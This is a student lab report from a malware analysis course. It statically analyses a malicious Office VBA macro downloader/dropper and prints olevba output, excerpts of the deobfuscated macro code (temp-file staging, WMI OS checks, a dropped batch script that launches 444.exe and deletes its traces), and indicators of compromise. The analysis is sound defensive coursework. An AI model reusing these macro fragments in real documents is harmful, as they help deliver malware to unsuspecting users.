

Tyler Vander Mooren

CYB 310: Malware Analysis

Professor Troy Adams

March 12, 2026

Lab 4: Reverse Engineering & Static Code Analysis

Static analysis allows for malware to be examined without ever executing it, this helps identify suspicious behavior while avoiding the risk of infection. In the sample (baddoc.vba), which was provided by the Udemy Lab, the macro was extracted using olevba. Olevba was able to identify multiple auto-execution triggers and several suspicious behaviors. As shown in Figure 1, the macros included Auto_Open, Workbook_Open, PowerShell commands, CreateObject and DownloadFile. These findings suggest that the document is designed to automatically launch malicious code and retrieve an additional payload.

Figure 1: *olevba output showing auto-execution triggers and suspicious macro capabilities.*

Type	Keyword	Description
AutoExec	AutoOpen	Runs when the Word document is opened
AutoExec	Auto_Open	Runs when the Excel Workbook is opened
AutoExec	Workbook_Open	Runs when the Excel Workbook is opened
Suspicious	Environ	May read system environment variables
Suspicious	Open	May open a file
Suspicious	Write	May write to a file (if combined with Open)
Suspicious	Output	May write to a file (if combined with Open)
Suspicious	Print #	May write to a file (if combined with Open)
Suspicious	Kill	May delete a file
Suspicious	Shell	May run an executable file or a system command
Suspicious	vbNormal	May run an executable file or a system command
Suspicious	GetObject	May get an OLE object with a running instance
Suspicious	Windows	May enumerate application windows (if combined with Shell.Application object)
Suspicious	User-Agent	May download files from the Internet
Suspicious	Chr	May attempt to obfuscate specific strings (use option --deobf to deobfuscate)
Suspicious	system	May run an executable file or a system command on a Mac (if combined with libc.dylib)
Suspicious	open	May open a file (obfuscation: VBA expression)
Suspicious	SaveToFile	May create a text file (obfuscation: VBA expression)
Suspicious	WScript.Shell	May run an executable file or a system command (obfuscation: VBA expression)
Suspicious	Run	May run an executable file or a system command (obfuscation: VBA expression)
Suspicious	noexit	May run PowerShell commands (obfuscation: VBA expression)
Suspicious	ExecutionPolicy	May run PowerShell commands (obfuscation: VBA expression)
Suspicious	noprofile	May run PowerShell commands (obfuscation: VBA expression)
Suspicious	CreateObject	May create an OLE object (obfuscation: VBA expression)
Suspicious	New-Object	May create an OLE object using PowerShell (obfuscation: VBA expression)
Suspicious	Net.WebClient	May download files from the Internet using PowerShell (obfuscation: VBA expression)
Suspicious	DownloadFile	May download files from the Internet using PowerShell (obfuscation: VBA expression)
Suspicious	System	May run an executable file or a system command on a Mac (if combined with libc.dylib) (obfuscation: VBA expression)

Methodology

The document was analyzed by first extracting the macro code, then using the olevba tool to deobfuscate the macro code, which allows for more thorough static code inspection. The deobfuscated output was then reviewed to identify entry points, major routines and suspicious strings. The analysis showed how the macro executed, what files or commands it created and what showed malicious intent. Rather than executing the sample, static analysis was able to trace the malware's control flow and intended behavior.

Entry Points and Control Flow

The macro itself contains three automatic execution routines: Auto_Open, AutoOpen and Workbook_Open. Each of these calls the main routine, Sub h(), which is where the primary malicious logic is. As shown in Figure 2, this function retrieves the current username and then builds file paths in temporary directories using filenames intended to look legitimate, such as adobeacd-update. This would suggest staging behavior as the macro is preparing helper scripts and payload files before execution. The macro then queries the operating system version through Windows Management Instrumentation (WMI). From here it then branches into one of two execution paths depending on the Windows version which is shown in Figure 3. Systems that are at or below version 5.5 follow a legacy path that writes and launches helper files from the Windows temporary directory. Newer system logic follows a different branch that utilizes PowerShell-based downloading and execution. This branching logic shows that the malware is specifically designed to improve compatibility across different host environments.

Figure 2: Beginning of Sub h(), where the main malicious code logic lives.

```
Sub h()
Dim MY_FILEDIR, ASDASDSA, MY_FILDIR, XPFILEDIR, JAISODJAS
    ds = 100
    USER = Environ$(" " & Chr(Asc(Chr(ds + 17))) + "ername")

    jks = ds

    PST2 = "adobeacd-update"
    VBT2 = "adobeacd-update"
    VBTXP2 = "adobeacd-updatexp"
    BART2 = "adobeacd-update"

    PST1 = PST2 + ".p" + Chr(ds + 15) + "1"
    VBT1 = VBT2 + ".vbs"
    VBTXP = VBTXP2 + ".vbs"
    BART = BART2 + Chr(Abs(46)) + Chr(Abs(98)) + "a" + Chr(Asc(Chr(ds + 16)

    JSIQOJQ = BART2 + Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98)) +

    BART = JSIQOJQ
    MY_FILEDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + PST1 + ""

    ASDASDSA = "c:\Users\" + USER + "\AppData\Local\Temp\" + BART
    MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + ""
    XPFILEDIR = "c:\Windows\Temp\" + VBTXP
```

Figure 3: WMI-based operating system detection and branching for legacy Windows.

```
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objOperatingSystem In colOperatingSystems
    winverstr = objOperatingSystem.Version
Next

winver = Val(winverstr)
WaitFor (1)
jskw = winver

If (jskw <= 5.5) Then

    Open NUWHDGJS For Output As #Kasdwq
    Print #Kasdwq, "@echo off"
    Print #Kasdwq, ":pinkator"
    Print #Kasdwq, "ping 1.3.1.2 -n 2"
    LKASHDUIQWHQUDKNBWQKJDHQ = "sakdj lksajdssakdj sakjd sakhd jhqwiudhquid gughg"
    Print #Kasdwq, "cscript.exe ""c:\Windows\Temp\" + VBTPX + """"
    Print #Kasdwq, "ping 2.2.1.1 -n 2"
    Print #Kasdwq, ":windows"
    AIYDHLKASHDUIQWHQUDKNBWQKJDHQ = "qwe23r32sakdj sdqwlksajdssakdj sakjd sakhd jhqwiudhquid gughg"
    WQJHLKASHDUIQWHQUDKNBWQKJDHQ = "sa3244tgfdkdj lksajdssakdj sakjd sakhd jhqwiudhquid gughg"
    Print #Kasdwq, "c:\Windows\Temp\444.exe"
    Print #Kasdwq, ":loop"
    Print #Kasdwq, "ping 1.3.1.2 -n 1"
    Print #Kasdwq, "set tar1="" + BART + """"
    Print #Kasdwq, "del ""c:\Windows\Temp\" + VBTPX + """"
    Print #Kasdwq, "del ""c:\Windows\Temp\"""tar1%""
    Print #Kasdwq, "if exist ""c:\Windows\Temp\"""tar1% goto loop"
    Print #Kasdwq, "if exist ""c:\Windows\Temp\" + VBTPX + "" goto loop"
    Print #Kasdwq, "exit"
    Close #Kasdwq
```

Key Functions and Malicious Behaviors

Its primary function is to be a downloader and dropper. After the execution begins it creates misleading filenames, stages temporary files, checks the operating system version and then selects a delivery method for the next stage payload. The legacy branch shown in Figure 3 shows it writes batch and VBscript into the Windows temporary director, introduce delays with ping and prepares execution of a dropped file named 444.exe. When examining the broader macro code, the payload is downloaded using objects such as MSXML2.XMLHTTP and ADODB.stream, which are commonly abused in malicious Office macros to retrieve data from a remote server. For newer Windows systems the macro follows a different execution path that relies on PowerShell downloading and execution. The deobfuscated macro reveals the use of

System.Net.WebClient, DownloadFile and command execution through built-in Windows utilities. Again, this shows that the malware designer included more than one delivery method, likely to improve reliability across different Windows environments. All these behaviors clearly indicate malicious intent. The macro is not performing any legitimate document automation task. Instead, it is designed to automatically retrieve an external executable and launch it on the victim system with minimal user awareness. The use of multiple execution methods, misleading filenames and built-in Windows tools suggests an effort to evade suspicion and improve execution chances. All these methods are designed to reduce suspicion, blend into normal system activity and increase the likelihood that the payload is executed successfully.

Indicators of Compromise

The most significant indicators of compromise identified during static analysis were the external download URL, the dropped filename 444.exe and the scripts named adobeacd-update. Additional indicators were the use of powershell.exe, cmd.exe and cscript.exe, along with file creation in temporary directories. These indicators show both host-based and network-based artifacts that defenders could use to identify similar infections during review or endpoint monitoring. Taken together, these indicators support the overall assessment that the document was designed to function as a malware delivery mechanism. The presence of multiple auto-execution triggers, staged temporary files, environment-aware branching, external payload retrieval and command execution utilities shows a deliberate effort to ensure the malware can run successfully across different Windows environments. The use of misleading filenames and Windows tools suggests attempting to reduce suspicion to increase the execution chances. Overall, the static analysis showed that this malicious document uses VBA macros to automatically execute code, identify the host operating system, create temporary helper files,

download an external executable and launch that payload on the victim system. Based on these behaviors, the sample can now be classified as a malicious Office macro downloader/dropper. This also shows the importance of utilizing static analysis in conjunction with dynamic analysis, because even without running the file, the code and extracted indicators provide evidence of its control flow, malicious intent and likely impact on a host system, including in cases where dynamic analysis could have failed due to environment issues or other factors.